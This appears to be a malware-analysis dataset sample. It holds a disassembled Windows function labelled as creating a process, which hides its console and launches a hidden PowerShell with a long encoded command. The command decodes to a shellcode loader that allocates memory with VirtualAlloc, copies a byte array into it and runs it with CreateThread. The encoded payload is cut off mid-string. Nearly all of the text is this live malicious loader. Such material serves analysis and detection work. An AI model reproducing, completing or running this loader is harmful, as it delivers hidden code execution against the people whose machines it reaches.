Function at 0x140001450
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str.powershell__window_hidden__EncodedCommand_JAB6AGkAVgBaACAAPQAgACcAJABvAEoAZgBqACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsACAAdQBpAG4AdAAgAGQAdwBTAHQAYQBjAGsAUwBpAHoAZQAsACAASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwAIAB1AGkAbgB0ACAAZAB3AEMAcgBlAGEAdABpAG8AbgBGAGwAYQBnAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEkAZAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByAHQALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAdwAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAG8ASgBmAGoAIAAtAE4AYQBtAGUAIAAiAFcAaQBuADMAMgAiACAALQBuAGEAbQBlAHMAcABhAGMAZQAgAFcAaQBuADMAMgBGAHUAbgBjAHQAaQBvAG4AcwAgAC0AcABhAHMAcwB0AGgAcgB1ADsAWwBCAHkAdABlAFsAXQBdADsAWwBCAHkAdABlAFsAXQBdACQAegAgAD0AIAAwAHgAZAA5ACwAMAB4AGMAMQAsADAAeABkADkALAAwAHgANwA0ACwAMAB4ADIANAAsADAAeABmADQALAAwAHgANQBiACwAMAB4ADMAMwAsADAAeABjADkALAAwAHgAYgAxACwAMAB4ADQAYgAsADAAeABiADgALAAwAHgAMQA1ACwAMAB4ADUAOAAsADAAeAAxADUALAAwAHgAYgA3ACwAMAB4ADgAMwAsADAAeABjADMALAAwAHgAMAA0ACwAMAB4ADMAMQAsADAAeAA0ADMALAAwAHgAMQAzACwAMAB4ADAAMwAsADAAeAA1ADYALAAwAHgANABiACwAMAB4AGYANwAsADAAeAA0ADIALAAwAHgAYQA0ACwAMAB4ADgAMwAsADAAeAA3ADgALAAwAHgAYQBjACwAMAB4ADUANAAsADAAeAA1ADQALAAwAHgAZQA3ACwAMAB4ADkAYwAsADAAeAA4ADYALAAwAHgAMwAwACwAMAB4ADYAYwAsADAAeAA4AGMALAAwAHgAMQA2ACwAMAB4ADMAMAAsADAAeAA5ADcALAAwAHgAYgBhACwAMAB4ADAANAAsADAAeAA0AGUALAAwAHgAZAAzACwAMAB4AGUAZgAsADAAeABiAGMALAAwAHgAYwA1ACwAMAB4ADkAMQAsADAAeAAyADcALAAwAHgAOABkACwAMAB4ADIANgAsADAAeAA1AGEALAAwAHgAOABmACwAMAB4AGEANwAsADAAeABmAGUALAAwAHgANQA0ACwAMAB4ADIAZgAsADAAeAA5AGIALAAwAHgAYwAzACwAMAB4AGYANwAsADAAeABkADMALAAwAHgAZQAxACwAMAB4ADEANwAsADAAeABkADgALAAwAHgAZQBhACwAMAB4ADIAYQAsADAAeAA2AGEALAAwAHgAMQA5ACwAMAB4ADIAYQAsADAAeABmAGQALAAwAHgAMAAwACwAMAB4AGYANgAsADAAeABlADYALAAwAHgANwA2ACwAMAB4AGIAOAAsADAAeAAxADgALAAwAHgANQAwACwAMAB4ADAAMwAsADAAeAA3AGYALAAwAHgAMgA1ACwAMAB4ADUAZgAsADAAeABjADMALAAwAHgAMABiACwAMAB4ADEANQAsADAAeAAyADcALAAwAHgANgA2ACwAMAB4AGMAYgAsADAAeABlADIALAAwAHgAOQBiACwAMAB4ADYAOQAsADAAeAAxAGMALAAwAHgANQBhACwAMAB4AGEAZgAsADAAeAAyADEALAAwAHgAOAA0ACwAMAB4AGQAMAAsADAAeABmADcALAAwAHgAOQAxACwAMAB4AGIANQAsADAAeAAzADUALAAwAHgAOAAyACwAMAB4ADEAOAAsADAAeABjADEALAAwAHgAOAA1ACwAMAB4AGIAYwAsADAAeAA2ADUALAAwAHgANgAzACwAMAB4ADcAZAAsADAAeAA4AGEALAAwAHgAMQAyACwAMAB4ADcANQAsADAAeAA1ADcALAAwAHgAYwAyACwAMAB4AGUANAAsADAAeABkAGEALAAwAHgAOQA2ACwAMAB4AGUAYQAsADAAeABlADkALAAwAHgAMgAzACwAMAB4AGQAZQAsADAAeABjAGQALAAwAHgAMQAxACwAMAB4ADUANgAsADAAeAAxADQALAAwAHgAMgBlACwAMAB4AGEAYwAsADAAeAA2ADEALAAwAHgAZQBmACwAMAB4ADQAYwAsADAAeAA2AGEALAAwAHgAZQA3ACwAMAB4AGYAMAAsADAAeABmADcALAAwAHgAZgA5ACwAMAB4ADUAZgAsADAAeABkADUALAAwAHgAMAA2ACwAMAB4ADIAZQAsADAAeAAzADkALAAwAHgAOQBlACwAMAB4ADAANQAsADAAeAA5AGIALAAwAHgANABkACwAMAB4AGYAOAAsADAAeAAwADkALAAwAHgAMQBhACwAMAB4ADgAMQAsADAAeAA3ADIALAAwAHgAMwA1ACwAMAB4ADkANwAsADAAeAAyADQALAAwAHgANQA1ACwAMAB4AGIAZgAsADAAeABlADMALAAwAHgAMAAyACwAMAB4ADcAMQAsADAAeAA5AGIALAAwAHgAYgAwACwAMAB4ADIAYgAsADAAeAAyADAALAAwAHgANAAxACwAMAB4ADEANwAsADAAeAA1ADMALAAwAHgAMwAyACwAMAB4ADIAZAAsADAAeABjADgALAAwAHgAZgAxACwAMAB4ADMAOAAsADAAeABkAGMALAAwAHgAMQBmACwAMAB4ADgANQAsADAAeABjADAALAAwAHgAMQBlACwAMAB4ADIAMAAsADAAeABkAGIALAAwAHgANQA2ACwAMAB4AGQAMgAsADAAeABlAGMALAAwAHgAZQA0ACwAMAB4AGEANgAsADAAeAA3AGMALAAwAHgANgA3ACwAMAB4ADkANgAsADAAeAA5ADQALAAwAHgAMgAzACwAMAB4AGQAMwAsADAAeAAzADAALAAwAHgAOQA1ACwAMAB4AGEAYwAsADAAeABmAG
lea r8, str.powershell.exe
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov ecx, 0
call sym.exit
nop
nop
nop
nop
nop
nop
nop